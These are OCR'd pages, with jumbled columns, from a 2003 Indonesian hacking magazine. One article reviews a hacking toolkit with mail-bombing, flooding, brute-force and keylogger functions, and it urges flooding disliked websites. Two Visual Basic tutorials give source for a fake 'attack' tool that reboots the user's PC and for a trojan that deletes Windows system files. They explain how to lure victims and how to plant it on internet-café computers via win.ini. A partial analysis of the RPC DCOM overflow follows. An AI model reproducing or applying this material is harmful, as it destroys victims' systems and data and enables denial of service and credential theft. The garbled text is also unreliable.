dan dana anda terbuang percuma untuk men-download sesuatu yang belum jelas fungsi dan manfaatnya, ada baiknya menyimak artikel ini. Dalam artikel saya kali ini, ada sebuah tool yang ingin saya bahas dan perkenalkan kepada anda. Yaitu sebuah tool multi fungsi yang oleh Sdr. Ahmadi (pembuatnya) disebut sebagai Net Tools, singkatan dari Internet Tools. Alasan saya merekomendasikan tool tersebut untuk anda pakai, karena selain memiliki banyak fungsi dan bersifat up to date (sesuai dengan kebutuhan hacking saat ini), tool ini juga bisa dimanfaatkan oleh siapa saja yang bertugas sebagai pengelola jaringan (network administrator). Untuk melihat tool apa saja yang terdapat pada program Net Tools, simaklah penjelasan berikut.
Fungsi Masing-Masing Tool pada Net Tools Secara umum, jumlah keseluruhan tool yang terdapat pada program Net Tools adalah sebanyak 32 buah. Adapun daftar urutan selengkapnya bisa anda lihat pada Gambar 1. Jika anda nanti tertarik untuk mencobanya, anda bisa mengambilnya sendiri dari dalam situs Ahmadi yang beralamat di http://users.pandora.be/ahmadi. Atau, bisa juga dari dalam CD NeoTek yang disertakan dalam majalah ini.
Gambar 1. Daftar seluruh tool pada program Net Tools v2.0
Dari gambar di atas, jelas terlihat bahwa betapa banyaknya tool yang bisa dimanfaatkan sebagai alat bantu hacking. Selain untuk keperluan hacking, beberapa dari tool itu bisa kita manfaatkan untuk hal-hal lain. Apa saja fungsi dan manfaatnya serta bagaimana cara mengoperasikannya, akan dijelaskan sebagai berikut :
NeoTekno 1. Anonymous Mail Session Fungsi utama tool ini adalah untuk mengirim mail tanpa identitas, atau lebih dikenal dengan istilah 'mail kaleng'. Disebut mail kaleng karena anda dimungkinkan memanipulasi identitas anda yang sebenarnya, misalnya seperti nama, alamat e-mail, dan host SMTP (simple mail transport protocol). Dalam hal ini anda cukup memasukkan sembarang nama dan alamat e-mail anda ke dalam field Sender's name dan Sender's e-mail address. Kemudian pada field Receiver's name dan Receiver's e-mail address, isikan nama dan alamat e-mail orang yang akan menerima mail anda, lalu tentukan salah satu SMTP host yang akan anda gunakan sebagai pengirim mail. Jika surat telah selesai diketik, klik tombol Send.
3. ICQ Flooding Session Fungsi tool ini tidak ada bedanya dengan fungsi tool No.2 (Mail Bombing Session). Tujuannya untuk membuat ICQ orang lain 'kebanjiran' pesan.
Gambar 4. Tool untuk membanjiri boks ICQ orang lain
Gambar 2. Tool untuk mengirim mail kaleng
4. Ping Session PING adalah singkatan dari Packet Internet Groper, yaitu sebuah tool yang berfungsi untuk memeriksa kualitas koneksi data antara dua buah host yang saling berhubungan. PING merupakan aplikasi standard TCP/IP.
2. Mail Bombing Session Fungsi tool ini hampir sama dengan fungsi tool yang telah dijelaskan pada butir 1 (Anonymous Mail Session). Bedanya hanya sedikit saja, yaitu anda dimungkinkan untuk mengiriman mail sebanyak yang anda mau hanya dengan sekali 'gebrak', itulah sebabnya dia disebut sebagai 'mail bomb'. Tujuannya adalah untuk menyesaki mailbox orang lain agar menjadi penuh (full). Jika mailbox sudah penuh, maka orang tersebut akan kesulitan membukanya. Gambar 5. Tool untuk men-test kualitas koneksi data
5. Port Flooding Session Dengan tool ini anda dimungkinkan untuk mem-flood port (servis) yang sedang aktif dengan cara mengirimkan bit data (packet) sebanyak mungkin. Gambar 6. Tool untuk mem-flood port yang sedang aktif
Gambar 3. Tool untuk membuat mailbox orang penuh
Agu/Sep 2003 NeoTek
29
NeoTekno 6. Port Scanning Session Fungsi tool ini adalah untuk melacak (mem-probing) servisservis apa saja yang tersedia di server target. Jika sudah diketahui, maka proses hacking akan menjadi jelas dan terarah.
9. IP Sniffer Session Secara teknis, fungsi tool ini sebenarnya hampir sama dengan fungsi tool yang telah dijelaskan pada buitir No.6 (Port Scanning Session), yaitu untuk melacak servis di komputer orang lain (victim). Kecuali itu, cara pengoperasiannya pun bisa dikatakan sama. Gambar 10. Tool untuk mengendus port yang sedang aktif dikomputer orang lain
Gambar 7. Tool untuk melacak port yang sedang aktif
7. Extreme Flood Session (UDP) Ini adalah sebuah tool yang berfungsi untuk mem-flood (membanjiri) protokol UDP (user datagram protocol). UDP adalah semacam TCP yang melakukan paket data kurang dari 1500 karakter dan berlaku pada lapis transport. Menurut Ahmadi, disebutkan bahwa efek dari tool ini jauh lebih 'dahsyat' dari pada Ping Flooder.
10. Winsock Scanner Winsock adalah singkatan dari Windows Socket. Yaitu program tambahan agar sistem operasi Windows dapat tersambung ke jaringan yang berprotokol TCP/IP. Dengan tool ini, maka anda dimungkinkan untuk mendeteksinya. Caranya, masukkanlah alamat IP komputer jauh (remote) yang akan anda scanning, kemudian klik tombol Start.
Gambar 8. Tool untuk mem-flood UDP
8. HTTP Flood Session Jika suatu hari nanti anda menemukan suatu situs yang tidak anda sukai, dan anda ingin 'mengusiknya', maka tidak ada salahnya anda mencoba tool yang satu ini, siapa tahu berhasil. Karena secara teknis, tool ini memang direkomendasikan untuk melakukan itu. Selain praktis, cara menggunakannya pun sangat mudah. Anda cukup memasukkan alamat IP beserta nomor port HTTP-nya, kemudian isikan koneksi sebanyak yang anda inginkan ke dalam field Connections, lalu akhiri dengan mengklik tombol Start. Gambar 9. Tool untuk mem-flood port HTTP
30
NeoTek Agu/Sep 2003
Gambar 11. Tool untuk melacak Winsock
11. Internet Activity (Protector) Apabila anda termasuk type orang yang sangat berhati-hati ketika terhubung ke Internet, maka sebaiknya anda memanfaatkan tool yang satu ini. Saya jamin, anda pasti akan selalu merasa secure. Ada beberapa hal penting yang diberikan tool ini buat anda, yaitu: Ketika anda terhubung ke Internet, maka anda bisa dengan mudah memantau semua aktivitas yang terjadi di komputer anda. Apakah ada orang lain (intruder) yang berusaha menerobos masuk ke dalam komputer anda atau tidak. Kemudian, jika anda 'membuat' komputer anda sebagai server, anda bisa dengan mudah melihat alamat-alamat IP yang telah masuk ke dalam komputer anda, seperti yang tampak pada Gambar 12.
NeoTekno
Gambar 15. Tool untuk men-scan website Gambar 12. Tool untuk memantau aktifvtas Internet
12. TCP Table Session Tool ini hampir sama dengan tool yang sudah dijelaskan pada butir No.11 (Internet Activity). Fungsinya untuk menginformasikan seluruh alamat IP yang masuk ke dalam komputer kita, termasuk informasi nomor port (servis) yang sedang aktif di komputer kita. Lihat contoh pada Gambar 13.
15. Encryption Session Ini adalah sebuah tool yang berfungsi untuk menyandikan (meng-enkripsi) data atau informasi agar tidak bisa dibaca oleh orang yang tidak berhak. Selain berfungsi untuk mengenkripsi (encryption), tool ini juga berfungsi untuk mendekripsi (decryption), kebalikan dari encryption.
Gambar 16. Tool untuk meng-enkripsi dan mendekripsi informasi
16. Webpage Scanner Session Fungsi tool ini untuk memeriksa karakteristik sebuah halaman web. Adapun bentuk informasi yang bisa diperoleh dari hasil pemeriksaan tersebut, dapat anda lihat pada Gambar 17. Gambar 13. Tool untuk memetakan TCP
13. Add Bytes Session Jika anda ingin memperbesar ukuran byte sebuah file tanpa merusaknya, maka anda bisa menggunakan tool ini. Gambar 14. Tool untuk memperbes ar ukuran byte file
14. Website Scanner Session Fungsi dari tool ini adalah untuk memeriksa situs (website). Jika proses scanning telah selesai dilakukan dan berhasil, maka akan ada beberapa informasi penting yang dilaporkan kepada kita, seperti yang tampak pada Gambar 15.
Gambar 17. Tool untuk men-scan halaman web
Agu/Sep 2003 NeoTek
31
NeoTekno 17. Subnet Scanner Session Fungsi tool ini adalah untuk mendeteksi pemakaian pengenal jaringan tunggal (single network identifier) di dalam multi jaringan. Secara teknis, subnet adalah merupakan bagian dari TCP/IP. Adapun bentuk informasi dari hasil pendeteksian tersebut, bisa anda lihat pada Gambar 18.
Gambar 20. Tool untuk membuat host & file menjadi shared
20. Fast Port Scanner Fungsi tool ini adalah untuk melihat (mengintai) servis-servis apa saja yang tersedia di server target, sama seperti fungsi tool No.6 (Port Scanning Session). Yang membuatnya sedikit berbeda hanya soal kecepatan. Proses pengintaian yang dilakukan Fast Port Scanner jauh cepat. Gambar 18. Tool untuk melacak subnet
18. Open FTP Scanner Session Fungsi tool ini adalah untuk mengintai host yang sedang menjalankan servis FTP (FTP Server). Selain itu, anda juga dimungkinkan untuk melakukan brute force attack, seperti yang terlihat pada Gambar 19.
Gambar 21. Tool untuk mengintai servis di server target Gambar 19. Tool untuk memeriksa status server FTP
19. Share Session Jika anda ingin membuat komputer anda berfungsi sebagai 'server' bagi komputer-komputer lain, maka anda bisa memanfaatkan tool ini. Selain bisa 'ngobrol' (chatting), file juga bisa di shared. 32
NeoTek Agu/Sep 2003
21. Bounce Session Dalam terminologi e-mail (electronic mail), bounce biasanya dipakai sebagai istilah untuk menyatakan bahwa mail yang tidak bisa terkirim (karena adanya kesalahan dalam penulisan alamat tujuan), akan dikembalikan lagi ke alamat pengirim. Di IRC, bounce dipakai sebagai istilah untuk 'memantulkan' suatu host ke host server IRC melalui program yang disebut dengan BNC, PsyBNC, atau Eggdrop.
NeoTekno 24. Telnet Server Session Tool ini berfungsi untuk menyediakan layanan Telnet. Orang lain bisa masuk (log on) ke dalam komputer anda meskipun sistem operasi komputer anda tidak difungsikan sebagai server. Cara pengoperasiannya sangat mudah. Anda cukup mendaftarkan nama-nama user beserta kata sandi (password) yang anda perbolehkan masuk. Lihat contoh pada Gambar 25 dan Gambar 26.
Gambar 22. Tool untuk mem-bounce host
22. Port Sweeper Session Jika anda ingin mengintai sebuah servis pada server target, namun anda tidak tahu alamat IP server yang sedang menjalankan servis tersebut, maka sebaiknya anda menggunakan tool ini. Gambar 23. Tool untuk melakukan penyisiran servis di server target
Gambar 25. Mendaftarkan user yang diperbolehkan log on ke dalam layanan Telnet
Gambar 26. Log on ke dalam layanan Telnet
23. UDP Chat Session Ini adalah sebuah tool yang menyediakan layanan pengantaran datagram connectionless pada lapisan transport.
25. IP Calculating Session Ini adalah sebuah tool yang berfungsi sebagai pengkonversi alamat IP (IP Address). Apa saja yang bisa dikonversinya, bisa anda lihat pada Gambar 27. Bagi anda yang punya akses untuk mengelola jaringan, mungkin ada baiknya tool ini anda manfaatkan.
Gambar 27. Tool untuk mengkonversi alamat IP Gambar 24. Tool untuk melakukan packet data
Agu/Sep 2003 NeoTek
33
NeoTekno 26. Local IP and Host Tool ini berfungsi untuk menginformasikan alamat IP dan nama host komputer kita. Lihat contoh pada Gambar 28. Gambar 28. Tool untuk menginform asikan alamat IP dan nama host
29. Anonymous Downloader Ini adalah sebuah tool yang berfungsi untuk mendeteksi apakah ada kesalahan pada saat melakukan proses download. Apakah paket data yang diterima telah mengalami perubahan atau tidak. Data yang diterima akan dikalkulasi berdasarkan data original dan proses transmisinya.
27. IP Resolver Ketika anda di Internet, mungkin anda perlu me-resolve beberapa nama host atau domain ke dalam format IP (IP Address). Dengan menggunakan tool ini, anda tidak perlu repot-repot lagi masuk ke dalam situs yang menyediakan fasilitas itu. Gambar 29. Tool untuk me-resolve host menjadi IP
Gambar 31. Tool untuk mendeteksi kesalahan pada saat melakukan proses download
28. Mask IP Suatu saat, ketika anda mengakses (mengunjungi) sebuah situs, anda mungkin tidak ingin alamat IP anda yang asli diketahui oleh pemilik situs (webmaster). Untuk mensiasatinya, ada baiknya anda gunakan tool ini.
30. Keylogger Keylogger adalah sebuah program yang difungsikan untuk merekam penekanan tombol (tuts) keyboard. Data atau informasi yang di rekam secara diam-diam itu, kemudian akan disimpan sebagai log. Teknik ini biasanya dipakai oleh sebagian orang untuk 'mencuri' user ID dan kata sandi (password). Ketika anda mengaktifkan tool ini, maka tombol apapun yang anda tekan, akan direkam seluruhnya, seperti yang tampak pada gambar di bawah ini. (Lihat Gambar 32).
Gambar 32. Tool untuk merekam penekanan tuts keyboard
Gambar 30. Tool untuk memanipulasi informasi alamat IP
34
NeoTek Agu/Sep 2003
31. Make IRC Server Dengan tool ini, anda dimungkinkan untuk membuat komputer anda berfungsi sebagai penyedia layanan IRC (IRC server). Adapun cara pengoperasiannya, akan dijelaskan sebagai berikut : Pertama-tama, jalankanlah terlebih dahulu Net Tools, kemudian pilih menu New - Make IRC Server. Kemudian, dari jendela IRCD, klik menu M.A.B, lalu pilih Options. Setelah
NeoTekno jendela IRCD Options terbuka, klik tab General, lalu ketikkan nama host atau alamat IP komputer anda ke dalam field Server name. Sebagai catatan, apabila komputer anda tidak dilengkapi dengan kartu jaringan (network interface card), anda bisa memasukkan alamat IP localhost komputer anda (127.0.0.1) sebagai nama server IRC anda, kemudian akhiri dengan menekan tombol OK.
MOTD, Q-Lines, Opers, dan Other), anda sudah bisa menjalankan salah satu program IRC client anda (mIRC / PIRCH) untuk masuk ke dalam server IRC. Untuk memastikan apakah server IRC yang anda setting tadi sudah berfungsi atau tidak, sekarang cobalah jalankan program mIRC anda. Pada gambar di bawah ini, terlihat bahwa saya telah berhasil masuk ke dalam server IRC.
Gambar 35. Tool untuk menampilkan IP Config, mem-ping, dan men-trace route
32. Network Info Tool ini memiliki 3 (tiga) buah fungsi. Fungsinya yang pertama adalah untuk menampilkan konfigurasi alamat IP lokal (IP Config), seperti yang tampak pada Gambar 35. Gambar 33. Menentukan alamat IP, Quote, dan nomor Port IRC server Kemudian, fungsi yang ke dua adalah untuk memeriksa keberhasilan hubungan ke host Sampai pada tahap ini, meskipun anda belum selesai mentertentu (sama seperti fungsi Ping Session). Adapun fungsi setting opsi-opsi yang lain (yang terdapat pada tab K-Lines, ketiga, adalah untuk melacak rute dalam jaringan TCP/IP yang akan atau sedang dilewati host komputer lokal menuju host komputer lain (remote host). Demikianlah akhir dari artikel ini, mudah-mudahan ada manfaatnya buat anda. Dan, khusus buat rekan saya, Ahmadi, yang telah berjasa membuatkan tool ini, sekali lagi saya ucapkan: thanks yah bro! Saya harap ke depan nanti ente masih bisa membuat tooltool lain, yang sifatnya lebih 'menggigit', OK?
Gambar 34. Men-test apakah server IRC sudah aktif (berfungsi)
Agu/Sep 2003 NeoTek
35
NeoTutor
VISUAL BASIC
VISUAL BASIC 6, TIDAK TERLALU sulit lagi untuk membuat proram karena untuk penulisan listing program sudah tersedia Intelligent IDE yang akan membantu. Karena kita akan membuat program dengan Visual Basic 6, syarat dasar yang harus dipenuhi adalah komputer yang telah terinstal Program Visual Basic 6. Penulis sendiri menggunakan Microsoft Visual Studio. Anda bisa mendapatkannya di toko-toko software. Disini tidak akan dijelaskan lagi apa itu Visual Basic 6 dan bagaimana menguasai Visual Basic 6, tetapi akan langsung ditugjukan untuk membuat program sendiri dengan menggunakan Visual Basic 6.
D
FAKE PROG RAM BUATAN SENDIRI Pernahkah anda berkeinginan untuk membuat program sendiri? Sekarang banyak beredar atau ditawarkan program-program dengan berbagai macam kegunaannya. Tetapi selama ini kita selalu berada sebagai pengguna saja. Ada baiknya sekarang mencoba membuat program sendiri dengan Visual Basic 6.
ENGAN
Program buatan sendiri dengan Visual Basic 6
Keterangan: • Aturlah properti tiap elemen interface, misalnya untuk properti Label1, klik interface Label1, begitu juga yang lainnya. • Pengaturan properti: 1. Form1 • Caption (Titel), ubah nilainya dari Form1 dengan yang anda sukai. Caption
Killing Me Softly
• Borderstyle, ubah nilainya menjadi 3-Fixed Dialog BorderStyle 3-Fixed Dialog
2. Label1 & Label2 • Caption, ubah nilainya dari Label1 dengan yang anda sukai Caption
IP Target
3. Text1 s/d Text4 • Text, hapus nilainya Text
4
MEMBUAT INTERFACE PROGRAM Setelah mengetahui kontrol-kontrol yang akan dipergunakan, mulailah membuat interface program sesuai dengan sketsa yang telah kita buat. Gunakan kontrol yang sesuai dengan kebutuhan.
5
MENGATUR PROPERTY Setelah membuat interface program, yang perlu ditentukan selanjutnya adalah properti program sebagai elemen interface program. Gunakan window properties yang berada disamping kanan untuk mengatur properti.
6
• MaxLength, ubah nilainya dari 0 menjadi 3 MaxLength
4. • • 5. •
3
Text5 Hapus juga nilai text ubah nilai MaxLength menjadi 6 atau 7 Command1 Caption, ubah nilainya dengan yang anda suka Caption
Attack
Kembali ke form2 untuk menuliskan kode, klik ganda tombol Cancel Progress untuk menampilkan Window Code Editor. Tambahkah kode berikut: Dim res As Boolean res = ExitWindowsEx(EWX_REBOOT, 0) If Not res Then MsgBox "Function failed" Else MsgBox "Shutting down Windows NOW!" End End If Setelah Private Sub Command1_Click() Sehingga lengkapnya adalah sebagai berikut: Private Sub Command1_Click() Dim res As Boolean res = ExitWindowsEx(EWX_REBOOT, 0) If Not res Then MsgBox "Function failed" Else MsgBox "Shutting down Windows NOW!" End End If End Sub
10
36
NeoTek Agu/Sep 2003
11
MENAMBAHKAN MODULE Selanjutnya adalah menambahkan module. Klik Project > Add Module Setelah itu anda akan dihadapkan kepada menu Add Module, klik Open untuk melanjutkannya. Anda akan dihadapkan kepada Window Editor Code untuk module yang kosong.
12
INFORMASI INSTALASI Tambahkan kode berikut: Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Boolean Public Const EWX_FORCE = 4 Public Const EWX_LOGOFF = 0 Public Const EWX_REBOOT = 2 Public Const EWX_SHUTDOWN = 1
NeoTutor
Kontrol Label: digunakan untuk menampilkan teks yang tidak bisa diubah oleh pemakai program
Keterangan: Penulis mencoba membuat fake program yang seakan-akan memiliki fungsi dapat menyerang dengan menggunakan IP dan Port, dimana sesungguhnya fungsi tersebut tidak ada. Yang ada pada akhirnya membuat komputer yang menggunakan program tersebut akan melakukan restart.
1
MENENTUKAN INTERFACE
7
FORM KEDUA
13
SAVE PROJECT
Pertama perlu menentukan interface program yang akan kita buat. Interface adalah bentuk fisik program atau tampilan program yang akan di buat. Anda dapat merancangnya atau membuat sketsa tampilan program dan sketsa alur program di kertas coretan.
Setelah mengatur properti elemenelemen interface, buat form kedua (form2). Untuk menambah form2, klik Project > Add Form. Akan muncul menu Add Form, pilih Form dan klik Open. Anda akan menuju tampilan form2 yang masih kosong.
Simpan pekerjaan anda. Klik File > Save Project. Simpan dengan nama file yang anda inginkan. Anda perlu membuat program anda menjadi file dengan berekstensi *.exe (executable) atau sebuah application.
Kontrol Text Box: untuk membuat area teks yang teksnya biasa diubah oleh pemakai program Kontrol Command Button: untuk membuat tombol pelaksanaan perintah
2
NEW PROJECT
8
INTERFACE FORM2 & KODE
14
Setelah itu buka program Visual Basic 6 anda untuk segera membuat program berdasarkan sketsa anda. Tampilan di bawah merupakan tampilan Microsoft Visual Basic. Pada menu New Project klik OK
Buat interfacenya sesuai dengan sketsa interface untuk form2 dan menentukan properti dari tiaptiap elemen interfacenya. Setelah selesai membuat interface dan menentukan properti form2, selanjutnya menulis kode. Kembali ke form double click Attack.
DUA MODE NOKIA S40 Untuk itu Klik File > Make Project1.exe Pada menu Make Project tentukan nama filenya yang nantinya, contoh: Killing Me Softly setelah itu klik OK. Selesai sudah, program anda telah jadi.
3
PEMBUATAN INTERFACE
9
ISIKAN USERNAME/PASSWORD
15
Pembuatan interface program dimulai. Gunakan toolbox yang berada di samping kiri untuk pembuatan interface program. Kontrolkontrol pada Toolbox yang diperlukan untuk pembuatan interface program terlihat pada gambar.
Window Code Editor diaktifkan. Tambahkan kode berikut: Unload Me Form2.Show Setelah Private Sub Command1_Click() Sehingga lengkapnya sbb: Private Sub Command1_Click() Unload Me Form2.Show End Sub
DOKUMENTASI Sekarang buktikan hasil pekerjaan anda. Aktifkan program anda yang bernama sesuai pilihan anda, berdasarkan contoh yaitu Killing Me Softly.exe
Agu/Sep 2003 NeoTek
37
NeoTutor
VISUAL BASIC
PROGRAM JAHAT disini adalah membuat program yang dapat menghapus/delete data atau file dimana targetnya ada WINDOWS. Disini masih menggunakan Visual Basic 6, jadi bisa dikatakan ini merupakan kelanjutan belajar membuat sendiri program dengan menggunakan Visual Basic. Kita akan mencoba membuat program yang dapat menghapus file di direktori tertentu yang kita tentukan. Jadi jika seseorang menjalankan program yang dibuat, maka program tersebut akan menghapus file, apalagi jika ditentukan target dari file-file yang akan dihapus adalah file-file yang berada di direktori window (C:\Windows) C:\Windows\System) maka atau system (C ANG DIMAKSUDKAN
Y
PROG RAM JAHAT BUATAN SE N DI RI Sebelumnya MA Rody Candera ([email protected]) telah membahas mengenai cara membuat Joke Program dengan menggunakan Visual Basic. Pada kesempatan ini, akan dicoba diketengahkan membuat Program Jahat dengan menggunakan Visual Basic
Program jahat yang bisa saja mengganggu komputer, khususnya di warnet
2 1
MEMBUAT FORM INTERFACE Setelah interface dan alur program dibuat, mulailah proses pembuatan program sesungguhnya. Aktifkan Visual Basic dan buatlah interface program sesuai yang telah anda gambarkan sebelumnya. Cukup buat satu form, untuk form Pesan akan dibuat dengan cara MsgBox.
PROGRAM CODE Selanjutnya menuliskan kode, klik ganda commandbutton OK untuk menampilkan window editor code. Tambahkan kode sbb:
NeoTek Agu/Sep 2003
KEMBALI KE OBJECT
1
JALANKAN WIN.INI
Unload Me Kill "C:\Windows\*.*" Kill "C:\Windows\System\*.*" MsgBox "Kekekeke..., hapus dah file penting loe", , "Bye bye darling"
Kembali ke object dengan mengklik View > Object atau dengan menekan kombinasi tombol pada keyboard yaitu Shift+F7
Setelah Private Sub Command1_Click()
Selesai sudah, program yang anda buat sudah dapat digunakan. Silakan anda mengujinya (risiko tanggung sendiri). Agar program yang anda buat digunakan oleh orang lain, silakan anda advertising program buatan anda dengan ribuan gombal yang memabukkan hingga orang tertarik untuk mencobanya. Advertising dapat anda lakukan melalui websiite yang anda miliki atau melalui chating mIRC. Semua tergantung pada anda. Menyusupkan Program Jahat ke Komputer Orang Cara lain yaitu anda sendiri yang memasukkan program buatan anda ke komputer target, seperti komputer di warnet tempat biasa anda main. Jika anda gunakan cara ini, anda perlu menambah setting pada file win.ini (di komputer target) dengan maksud, ketika komputer target melakukan restart atau aktif setelah dinon-aktifkan, program akan muncul setelah proses reboot selesai. Untuk lebih jelasnya dalam menambah setting pada file win.ini, tetapi sebelumnya simpan program buatan anda di direktori yang anda suka dan selanjutnya ikuti langkah-langkah berikut. 38
3
Dimulai dari Start > Run ketika muncul window Run, ketikkan win.ini setelah itu klik OK
NeoTutor
I N T E R F A C E
Jika pilih OK, maka: - Delete file di direktori target - Tampilkan pesan selamat tinggal - Keluar dari program
Gambar 1
4
2
Jika pilih CANCEL, maka: - Delete file di direktori target - Tampilkan pesan selamat tinggal - Keluar dari program
ALUR PROGRAM
KEMBALI KE OBJECT Setelah kembali ke object, kembali klik ganda commandbutton CANCEL untuk menampilkan window editor code dengan tujuan untuk menuliskan kembali kode seperti langkah kedua (2) Setelah Private Sub Command2_Click()
MENJALANKAN MIDLET Pada bagian run= tambahkan kode berikut ini: Dir:\Program.exe Contoh: run=C:\Sayonara.exe Keterangan: C:\ < posisi program disimpan Sayonara.exe < Program buatan anda
5
3
COMPILE PROGRAM Selesai menuliskan kode, yang perlu dilakukan selanjutnya adalah mengkompile program yang kita buat menjadi program yang sesungguhnya atau execution file (*.exe). Untuk mengkompilenya, klik File > Make Project1.exe
akan menghasilkan dampak yang sangat merugikan korban yaitu kerusakan terhadap WINDOWS. Ditambah lagi file yang terhapus nantinya tidak akan tersimpan di Recycle Bin, sehingga satu-satunya jalan untuk mengembalikan kondisinya nanti adalah dengan menginstal kembali. Menentukan interface program dan alur program. Interface program merupakan tampilan daripada program yang dibuat dan alur program merupakan hal-hal yang akan dieksekusi oleh program tersebut. Buat alur program sederhana yang anda mengerti. Gunakan Visual Basic 6 untuk membuatnya.
BERI NAMA YANG MENARIK
6
Pada window menu Make Project, beri nama program yang anda buat dengan nama apa saja. Penulis menamakan program tersebut SAYONARA. Nama yang membuat penasaran lebih baik karena akan mendorong orang menjalankan program anda ini.
MEMBENTUK PACKAGE Setelah itu, save hasil setting dengan mengklik File > Save. Selanjutnya, tutup file win.ini Ketika komputer target di restart dan reboot selesai, secara otomatis program anda akan muncul, jika program anda dijalankan oleh seseorang maka file-file yang terdapat pada direktori windows dan system akan segera terhapus dan menimbulkan efek sangat merugikan.
Sekian dahulu sajian artikel ini, segala yang dipaparkan adalah hal pembelajaran buat kita semua dan pahami dengan konteks positif. Sekilas sajian ini seakan-akan mengajak untuk berbuat hal yang merugikan, tetapi sesungguhnya apa yang disajikan adalah info untuk semua pengguna komputer, kejadian seperti di atas dapat saja kita alami, khususnya oleh para penjaga warnet. Tetaplah waspada untuk menghindari hal yang telah dipaparkan di atas dan selalu siap sedia melayani pelanggan agar tidak kecewa.
Agu/Sep 2003 NeoTek
39
NeoTutor
B U G WI N DOWS TE R BAR U DAN B E R BAHAYA
Windows RPC DCOM Interface
Microsoft baru saja membanggakan Windows Server 2003 yang dikatakan suatu terobosan dalam security. Belum lagi genap tiga bulan sudah ditemukan lagi bug yang fatal pada jajaran sistem operasi Windows, termasuk Windows Server 2003. Dani Firman Syah ([email protected]) memaparkannya pada anda. ADA AKHIR BULAN JULI
2003 BANYAK SEKALI MEDIA cetak maupun elektronik yang memberitakan adanya bug baru yang menginfeksi seluruh operating system Windows milik Microsoft. Mungkin Anda pernah mendengar bahwa dengan adanya kelemahan ini, kalau sistem operasi Windows yang diserang dengan bug ini bisa mengakibatkan terkuasainya akses command system dengan otoritas NT SYSTEM (full access). Di artikel kali ini penulis akan menjelaskan lebih jauh tentang bagaimana bug ini terjadi beserta cara mengatasinya. Di pertengahan bulan Juli kemarin tepatnya pada tanggal 16 Juli 2003, kelompok sekuriti yang menamakan dirinya LSD The Last Stage of Delirium, http://lsd-pl.net) memberikan (T report melalui milis sekuriti terbesar dunia yaitu BUGTRAQ Security Focus ([email protected]) dan menyebutkan bahwa sistem operasi Windows memiliki bug stack overflow yang terdapat di RPC DCOM Interface. Semenjak bug ini di laporkan, bug ini menjadi sangat ramai dibicarakan oleh para pakar IT dan sekuriti bahkan beberapa media bisnis nasional sempat memberitakan bug di sistem operasi milik Microsoft ini. Microsoft sendiri juga mengatakan kalau bug ini sebagai flaw (cacat) yang paling bahaya dan yang terparah yang terjadi di sistem operasinya dan menginfeksi hampir seluruh sistem operasi milik Microsoft. Di bawah ini daftar sistem operasi yang terkena bug stack overflow RPC DCOM interface. 1. Windows NT 4.0 dengan/tidak dengan Terminal Services (Threatment) 2. Windows 2000 SP 1 - 4 3. Windows XP SP 1-2 4. Windows 2003 Server (tergantung pada service pack-nya) Di artikel ini Penulis akan mengajak Anda untuk menganalisa lebih dalam dan mencoba mempelajari bagaimana bugs ini bisa terjadi. Penulis akan menggunakan sedikit pendekatan programming/logika yang mudah-mudahan bisa membuat Anda lebih paham dan tidak membuat Anda bertambah bingung. Pertama tentu kita sedikit merujuk dokumen report yang diThe Last Stage of Delirium, Security Research sebarkan LSD (T Group) pada tanggal 16 Juli 2003 kemarin. Di report yang di sampaikan LSD yang di sebarkan melalui milis Bugtraq dan situsnya di http://lsd-pl.net di sebutkan bahwa di sistem operasi windows terdapat stack overflow atau buffer overflow Distributed Component yang terdapat di DCOM Component (D Object Modul) yang secara default instalasi memang di aktifkan oleh windows di dalam protokol Netbios melalui RPC (R Remote Procedure Call). Di dalam kerjanya, DCOM biasa di gunakan untuk membuka interface komunikasi dengan komputer lain yang mengakses sharing file dengan me-
P
40
NeoTek Agu/Sep 2003
manfaatkan port 135. Karena sifat service-nya yang open port, hal ini tentu memungkinkan seorang attacker menyerang port 135 secara remote dan memungkinkan attacker bisa mendapatkan akses NT AUTHORITY\SYSTEM (NT System) karena RPC di-run dengan menggunakan akses sistem. LSD dalam reportnya memang tidak memberikan laporan teknis tentang bagaimana bug ini terjadi tapi hal ini tidak mematahkan semangat para pakar sekuriti seperti dari tim riset http://www.xfocus.org) yang sekuriti Cina yaitu XFocus (h ternyata langsung merespon bugs ini dan menyebarkan hasil risetnya ke milis BUGTRAQ pada tanggal 25 Juli 2003, bahkan sudah dengan eksploitnya (di program dalam bahasa C/C++ Under Windows).
Bagaimanakah bug ini bisa terjadi? Kalau kita melihat bulletin security yang di terbitkan MS03-026, http://www.microsoft.com/ Microsoft pada bulan Juli (M technet/treeview/default.asp?url=/technet/security/bulletin/ MS03-026.asp) ada dua jenis overflow terjadi yaitu: a. Local Stack Overflow b. Remote Stack Overflow Tentu karena RPC (Remote Procedure Call) dalam servicenya melakukan open port adalah sangat mungkin terjadi Stack Overflow secara remote juga. Di dalam fungsi API (seperti dalam dokumen MSDN) disebutkan adanya deklarasi fungsi CoGetInstanceFromFile yang variabelnya adalah sebagai berikut: HRESULT CoGetInstanceFromFile( COSERVERINFO * pServerInfo, CLSID * pclsid, IUnknown * punkOuter, DWORD dwClsCtx, DWORD grfMode, OLECHAR * szName, ULONG cmq, MULTI_QI * rgmqResults ); Coba perhatikan variabel szName yang di deklarasikan sebagai OLECHAR. Masih mengacu pada dokumen MSDN (seperti yang di sampaikan juga oleh kelompok XFocus) ketika fungsi CoGetInstanceFromFile membaca path file, fungsi tersebut menggunakan object lPersistFile::Load (dalam bahasa C/C++) yang artinya variabel yang diinputkan dengan menggunakan fungsi CoGetInstanceFromFile akan di-load ke memori dengan menggunakan object lPersistFile::Load. Contoh penggunaan fungsi CoGetInstanceFromFile bisa Anda lihat di bawah ini:
NeoTutor Misal ketika ada client yang merequest sebuah file ke server yang di-sharing yang nama filenya adalah: Guahanyacobaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.doc yang berada di drive C: secara remote melalui file sharing maka path file yang di akses adalah sbb: \\ServerName\C$\ Guahanyacobaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.doc Maka ketika path file itu di eksekusi oleh fungsi CoGetInstanceFromFile akan menjadi seperti ini: CoGetInstanceFromFile(pServerInfo,NULL,0,CLSCTX_REMOTE_SERVER, STGM_READWRITE,L"C:\\Guahanyacobaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.doc",1,&qi)
HTTP/1.0 501 Not Implemented atau HTTP/1.1 501 Not Supported Status ini mengindikasikan bahwa IIS webserver tidak mengaktifkan DCOM services dan webserver Anda aman dari serangan bug ini. Coba perhatikan gambar berikut ini:
